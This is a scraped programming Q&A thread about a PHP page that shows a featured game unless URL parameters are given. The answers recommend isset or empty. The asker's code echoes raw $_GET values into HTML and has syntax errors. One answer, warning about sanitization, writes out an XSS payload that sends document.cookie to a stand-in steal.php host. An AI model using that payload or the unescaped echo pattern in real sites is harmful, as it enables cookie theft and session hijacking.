PHP: Set Variable to Get Value
I am creating a game web site using PHP and I want to just use one page for the game ra开发者_如何学Cther than have a bunch. I want to have the info entered like this:
`?swf=[path to .swf]&name=[name of game]&description=[Description of Game]&instruction=[Instructions for game]``
The problem is that if there is no data entered in the URL it returns a black page. I want to use the if...else to display a featured game if nothing is in the URL. The code I have right now is:
<?php $name=$_GET["name"];
if ($name=="*")
echo "<h3>$name"</h3>;
else
echo "Featured Game Name";
?>
<?php $description=$_GET["description"];
if ($description=="*")
echo "<h5>$description</h3>;
else
echo "<h5>Featured Game Description</h5>";
?>
<object type="application/x-shockwave-flash" data="
<?php $swf=$_GET["swf"];
if ($swf=="*")
echo "$swf;
else
echo "Featured Game swf path";
?>
" width="700" height="400">
<param name="movie" value="
<?php $swf=$_GET["swf"];
if ($swf=="*")
echo "$swf;
else
echo "Featured Game swf path";
?>
" />
</object>
<?php $instruction=$_GET["instruction"];
if ($instruction=="*")
echo "<p>$instruction</p>;
else
echo "Featured Game Instruction";
?>
Can anyone offer any suggestions on ways to accomplish this?
I'm not sure what the if ($name=="*") does, but I would use
if(isset($_GET['name']))
instead, to check if the name was passed to the url.
I assume with $_GET['name'] == "*"
you are mixing up something. In that context it is just a string comparison. *
is not a wildcard that matches anything like in SQL. If you want to check if there is something in $_GET['name']
, you could use empty or isset.
In addition, I suggest you just check for name
, because all your params conceptually belong to game. If there is no name
, there will be no description
and no instructions
.
But whatever you do, be sure to sanitize the params you are going to output, otherwise someone will supply this or something similar for name sooner or later:
<script>document.location='http://www.example.com/steal.php?'+document.cookie</script>
if(empty($_GET['swf']) and empty($_GET['name']) and empty($_GET['description']) and empty($_GET['instruction']){
/// code here
}else{
/// and here
}
精彩评论